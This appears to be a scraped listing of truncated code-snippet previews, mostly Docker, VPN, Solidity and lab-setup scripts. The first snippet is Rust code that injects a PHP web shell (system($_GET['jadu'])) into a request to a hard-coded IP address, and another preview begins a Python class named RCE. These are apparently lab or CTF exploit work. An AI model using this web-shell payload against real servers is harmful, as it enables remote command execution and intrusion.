This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
extern crate reqwest; | |
extern crate regex; | |
use reqwest::Client; | |
use regex::Regex; | |
fn send_payload(client: &Client) { | |
let url = "http://44.200.237.73/"; | |
client.get(format!("{}?karma=<?php system($_GET['jadu']); ?>", url).as_str()).send().unwrap(); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"fmt" | |
"net/http" | |
"net/url" | |
"regexp" | |
) | |
var ( |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import re | |
from requests import Session | |
class RCE: | |
def __init__(self, url): | |
self.s = Session() | |
self.url = url | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#docker rm $(docker ps -a --filter name=tfm_joomla_cluster-tidbsetup-centos_ssh_\* --format="{{.ID}}") | |
# wildcard (*) can be used like earlier comment | |
docker rm $(docker ps -a --filter name=$1 --format="{{.ID}}") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo curl -L "https://github.com/docker/compose/releases/download/v2.12.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose | |
sudo mv /usr/local/bin/docker-compose /usr/bin/docker-compose | |
sudo chmod +x /usr/bin/docker-compose |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
docker inspect --format '{{ .NetworkSettings.IPAddress }}' $1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: MIT | |
pragma solidity ^0.8.19; | |
/* | |
Challenge: | |
Write a Solidity contract that allows users to create and store their own simple messages on the blockchain. Each message should be associated with the user's Ethereum address, and users should be able to update their messages at any time. The contract should also allow anyone to view the stored messages for a given Ethereum address. | |
Instructions: | |
Create a new Solidity contract with a function for storing and updating messages associated with Ethereum addresses. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
import sys | |
from http.server import HTTPServer, BaseHTTPRequestHandler | |
if len(sys.argv)-1 != 2: | |
print(""" | |
Usage: {} <port_number> <url> | |
""".format(sys.argv[0])) | |
sys.exit() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
VPN_USER="<yourUsername>" | |
VPN_PASSWORD="<yourPassword>" | |
CONFIG_FILE="./open_vpn_file.ovpn" | |
#sudo openvpn saikat.karmarkar-config.ovpn | |
sudo bash -c 'openvpn --config '"$CONFIG_FILE"' --auth-user-pass <(echo -e "'"$VPN_USER"'\n'"$VPN_PASSWORD"'")' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
function usage() { | |
echo "Usage: $0 [-vampi|-capital|-crapi|-kill]" | |
exit 1 | |
} | |
function capital() { | |
cd capital/ | |
git pull |
OlderNewer